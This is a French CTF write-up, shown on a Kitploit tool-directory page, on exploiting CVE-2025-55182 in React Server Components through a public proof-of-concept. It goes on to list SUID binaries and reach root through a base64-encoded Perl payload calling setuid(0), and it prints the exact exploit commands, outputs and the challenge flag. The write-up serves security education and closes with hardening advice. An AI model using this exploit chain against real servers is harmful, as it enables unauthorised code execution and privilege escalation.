Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] Composant serveur React vulnérable à CVE-2025-55182 (RCE) → binaires SUID énumérés → /usr/bin/perl avait le bit SUID activé → utilisé setuid(0) de POSIX dans Perl pour escalader vers root → lu /root/flag.txt | Kitploit
Outils/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Labs et Pratique
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] Composant serveur React vulnérable à CVE-2025-55182 (RCE) → binaires SUID énumérés → /usr/bin/perl avait le bit SUID activé → utilisé setuid(0) de POSIX dans Perl pour escalader vers root → lu /root/flag.txt

Voir le dépôt
1il y a 5 moisPas encore vérifié

CVE-2025-55182 — RCE sur les Composants Serveur React | Writeup CTF

Catégorie : Web Exploitation | Difficulté : Medium | Vulnérabilité : Exécution de Code à Distance → Élévation de Privilèges SUID


TL;DR

Le point de terminaison du Composant Serveur React est vulnérable à CVE-2025-55182 (RCE) → énumération des binaires SUID → /usr/bin/perl avait le bit SUID activé → utilisation de setuid(0) de POSIX de Perl pour élever les privilèges à root → lecture de /root/flag.txt.

Flag : MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


Étape 1 — Reconnaissance

Cible : http://challenge.cybermesh.site:30035/

La cible était une application web basée sur React utilisant les Composants Serveur React (RSC) — une architecture relativement nouvelle qui exécute les composants côté serveur et diffuse la sortie sérialisée vers le client via un format de fil personnalisé.

Cette architecture introduit une frontière d'exécution côté serveur. Une gestion inappropriée des entrées à cette frontière est exactement ce qu'exploite CVE-2025-55182.


Étape 2 — Vulnérabilité : CVE-2025-55182

RCE sur les Composants Serveur React — Le serveur ne nettoie pas les entrées contrôlées par l'utilisateur avant qu'elles n'atteignent la couche d'exécution des composants côté serveur. Cela permet à un attaquant d'injecter des commandes shell au niveau du système d'exploitation qui s'exécutent dans le contexte du processus Node.js.

Déroulement de l'attaque :

  1. L'attaquant crée une charge utile RSC malveillante
  2. Le serveur désérialise l'entrée et transmet des valeurs non nettoyées à une fonction de composant serveur
  3. La commande OS s'exécute, la sortie est diffusée dans la réponse RSC
  4. L'attaquant lit la sortie de la commande depuis le corps de la réponse

Étape 3 — Mise en place de l'exploit

Un PoC public existe pour cette CVE :

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Vérification initiale — confirmation de la RCE et du contexte d'exécution :

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Sortie :

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

Le serveur s'exécute en tant qu'utilisateur app. Pas root — escalade nécessaire.


Étape 4 — Énumération SUID

Recherche de binaires SUID :

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Sortie :

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl a le bit SUID activé. C'est un GTFOBin bien connu — lorsque Perl appartient à root et est SUID, il s'exécute avec les privilèges root indépendamment de qui l'invoque.


Étape 5 — Élévation de Privilèges via SUID Perl

Construction d'une charge utile Perl encodée en base64 qui :

  • Définit le PATH
  • Appelle POSIX::setuid(0) pour s'élever à root
  • Ouvre et lit /root/flag.txt

Livrée via le point de terminaison RCE :

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

La charge utile décodée est approximativement :

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Sortie :

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Flag

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Points Clés

1. La surface d'attaque des RSC est sous-estimée. Les Composants Serveur React sont un nouveau paradigme. De nombreux déploiements n'ont pas été durcis contre l'injection d'entrées à la frontière des composants serveur. Cette CVE rappelle que le « rendu côté serveur » n'est pas intrinsèquement sûr — la frontière d'exécution nécessite toujours une désinfection appropriée.

2. SUID sur les environnements d'exécution de script = root instantané. /usr/bin/perl avec SUID est une erreur de configuration classique. GTFOBins le couvre en détail. Ne jamais définir le bit SUID sur les langages de script (Perl, Python, Ruby, etc.) — contrairement aux binaires compilés conçus pour SUID (su, passwd), ces environnements offrent des voies d'escalade triviales.

3. Le flag est conscient de lui-même. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — le défi a été explicitement conçu autour de SUID Perl comme voie d'escalade prévue. Chaîne propre.


Résumé de la chaîne d'attaque

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → utilisateur "app"
    └─> recherche binaires SUID
    └─> /usr/bin/perl (SUID root) identifié
    └─> charge utile Perl base64 → écriture dans /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

Références

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

Rédigé par Abdullah Maqbool — Ingénieur en Tests d'Intrusion @ TISS | CRTA · CRTOM · CompTIA PenTest+

Télécharger l’outil